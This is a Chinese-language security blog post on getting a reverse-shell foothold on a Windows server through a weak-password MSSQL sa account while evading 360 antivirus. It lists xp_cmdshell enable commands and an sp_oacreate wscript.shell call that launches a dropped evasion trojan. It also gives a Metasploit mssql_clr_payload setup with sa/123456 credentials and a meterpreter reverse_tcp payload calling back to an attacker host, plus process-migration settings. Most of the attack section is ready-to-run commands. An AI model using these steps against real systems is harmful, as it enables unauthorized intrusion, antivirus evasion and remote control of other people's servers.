MSSQL弱口令绕过某数字上线

简介: MSSQL弱口令绕过某数字上线

0x01 前言

朋友实战中遇到的场景:MSSQL弱口令,sa权限,安装有360全家桶,问如何绕过360上线?

根据他的叙述说明这个数据库是可以直连的,猜测应该是扫到的一台MSSQL弱口令的机器。这篇文章我将分享下他这种场景的一些绕过方式,只是给大家提供思路,算是抛砖引玉吧,大家自行发挥!

0x02 前期测试

内网扫到一台MSSQL弱口令,或者一个SQL注入,这时我们一般都会先判断是否为dba权限、xp_cmdshell组件是否可用?如果可用则直接执行命令提权。

    判断当前是否为dba权限,为1则可以提权
    select is_srvrolemember('sysadmin');
    查看是否存在xp_cmdshell
    exec sp_configure 'xp_cmdshell', 1;reconfigure;
    查看能否使用xp_cmdshell,从mssql2005版本之后默认关闭
    select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell'
    开启xp_cmdshell
    exec sp_configure 'show advanced options', 1;reconfigure;exec sp_configure 'xp_cmdshell', 1;reconfigure;
    关闭xp_cmdshell
    exec sp_configure 'show advanced options', 1;reconfigure;exec sp_configure 'xp_cmdshell', 0;reconfigure;
    执行命令xp_cmdshell
    exec master..xp_cmdshell 'cmd /c whoami'


    但如果目标主机有360时就一定会拦截,常见返回报错不是5就是拒绝访问。

    因为这个组件调用的是system32下的cmd.exe,360已经拦死了,这里没法绕过!之前文章中也有说过。

    sqlmap也一样,xp_cmdshell都是在sqlservr.exe进程下起一个cmd.exe子进程来执行命令和程序的,这也就是360拦截原因,检测了sqlservr.exe进程链。

    注:MSSQL堆叠注入执行多条SQL语句时必须加上;分号,否则无法正常执行,而客户端连接MSSQL数据库执行多条SQL语句时只需换行即可,不能用;分号,否则也可能无法正常执行。


    0x03 绕过方式

    (1) Godzilla

    利用哥斯拉“数据库Shell”功能连上这个数据库,然后将命令行模板中的cmd直接改为我们的免杀马。

    这时只需要在命令行下随便输入个字符回车执行即可成功上线,360全程无拦截。


    (2) sp_oacreate

    开启Ole automation procedures,并使用sp_oacreate存储过程调用wscript.shell组件执行命令,只需要将免杀马做为程序去执行即可成功上线,360全程无拦截。

      开启Ole automation procedures
      exec sp_configure 'show advanced options', 1;reconfigure
      exec sp_configure 'ole automation procedures',1;reconfigure
      执行命令sp_oacreate
      declare @o int
      exec sp_oacreate 'wscript.shell',@o out
      exec sp_oamethod @o,'run',null,'C:\ProgramData\360.exe'


      (3) mssql_clr_payload

      我们还可以利用MSF下的mssql_clr_payload模块来进行上线,该模块在执行时会自动开启CLR存储过程并将数据库标记为可信任等相关操作,360全程无拦截。

        use exploit/windows/mssql/mssql_clr_payload
        set rhosts 192.168.1.109
        set username sa
        set password 123456
        set payload windows/x64/meterpreter/reverse_tcp
        set lhost 192.168.1.120
        set lport 443

        这里可以看到CLR这种利用方式也不是调用cmd.exe执行的,没有创建任何子进程,而是直接运行在sqlservr.exe进程下了,所以360不会对其拦截!!!


        0x04 文末总结

        Godzilla、sp_oacreate这两种方式都是将我们的免杀马做为程序执行,没有调用cmd.exe执行,所以360也不会拦截,但如果做为参数执行肯定还是会被拦的。


        修改哥斯拉命令执行模板、EfsPotato插件将我们的免杀马做为程序执行上线MSF时建议加个进程迁移,否则执行后哥斯拉可能会卡住,执行不了任何操作

          set AutoRunScript migrate -f
          set AutoRunScript post/windows/manage/migrate NAME=notepad.exe


          注意:看到有师傅说这种方法也会被拦,不知道他是不是开了核晶模式?但我这里没有拦,不知道什么情况,大家在实战中自己多去测试下吧......!


          相关文章
          |
          SQL 监控 druid
          Druid未授权访问 漏洞复现
          Druid未授权访问 漏洞复现
          18931 0
          |
          开发工具 git Windows
          文件过大无法git pull/git clone解决办法
          由于公司无线限速, windows下拉代码会比较慢, 导致过大的仓库无法clone/pull下来, 可以尝试以下方法, 将一次拉取的size缩小, 然后再fetch 效率云中代码库过大时, 会有限制, 出现无法pull或者clone的情况, 如下图 首先以shallow模式克隆 例如:  git clone http://gaoyuan03_iwaimai.
          6734 0
          |
          域名解析 缓存 负载均衡
          如何在 Ubuntu 20.04 上安装 Nginx
          Nginx 可以处理大量的并发连接,并且每个连接占用一个很小的内存。本文将为大家介绍如何在 Ubuntu 20.04上安装和管理 Nginx。
          11127 3
          如何在 Ubuntu 20.04 上安装 Nginx
          |
          移动开发 前端开发 Java
          Java最新图形化界面开发技术——JavaFx教程(含UI控件用法介绍、属性绑定、事件监听、FXML)
          JavaFX是Java的下一代图形用户界面工具包。JavaFX是一组图形和媒体API,我们可以用它们来创建和部署富客户端应用程序。 JavaFX允许开发人员快速构建丰富的跨平台应用程序,允许开发人员在单个编程接口中组合图形,动画和UI控件。本文详细介绍了JavaFx的常见用法,相信读完本教程你一定有所收获!
          11781 5
          Java最新图形化界面开发技术——JavaFx教程(含UI控件用法介绍、属性绑定、事件监听、FXML)
          |
          应用服务中间件 数据库连接 数据安全/隐私保护
          MSSQL绕过360提权实战案例
          MSSQL绕过360提权实战案例
          546 2
          |
          Web App开发 XML 安全
          海康威视iVMS综合安防系统任意文件上传漏洞
          海康威视iVMS综合安防系统存在任意文件上传漏洞 ,攻击者可通过构造特定Payload实施对目标的攻击。
          1427 1
          |
          安全 Shell PHP
          escapeshellarg() 和 escapeshellcmd()
          escapeshellarg() 和 escapeshellcmd()
          |
          SQL Shell 数据库
          MSSQL绕过微软杀毒提权案例
          MSSQL绕过微软杀毒提权案例
          596 0
          |
          安全 网络安全
          技巧!通过360卫士白名单绕过查杀
          技巧!通过360卫士白名单绕过查杀
          1662 0
          |
          安全 测试技术 网络安全
          D盾防火墙安全防护绕过-[文件上传]
          D盾防火墙安全防护绕过-[文件上传]
          1241 0